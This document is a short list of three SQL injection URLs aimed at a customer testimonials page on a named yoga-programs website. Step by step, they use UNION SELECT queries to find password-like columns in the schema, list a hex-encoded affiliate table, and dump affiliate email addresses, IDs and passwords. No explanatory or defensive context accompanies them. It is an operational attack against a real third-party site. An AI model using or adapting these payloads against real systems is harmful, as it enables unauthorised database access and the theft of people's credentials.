http://www.integralyogaprograms.org/customer_testimonials.php?testimonial_id=-113 UNION SELECT 1,2,group_concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8+from+information_schema.columns+where+column_name+LIKE+CHAR(37, 112, 97, 115, 37)--

http://www.integralyogaprograms.org/customer_testimonials.php?testimonial_id=-113 UNION SELECT 1,2,concat(table_name,0x3a,column_name,0x3a,table_schema),4,5,6,7,8+from+information_schema.columns+where+table_name=0x616666696c696174655f616666696c69617465--

http://www.integralyogaprograms.org/customer_testimonials.php?testimonial_id=-113 UNION SELECT 1,2,concat(affiliate_email_address,0x3a,affiliate_id,0x3a,affiliate_password),4,5,6,7,8+from+affiliate_affiliate--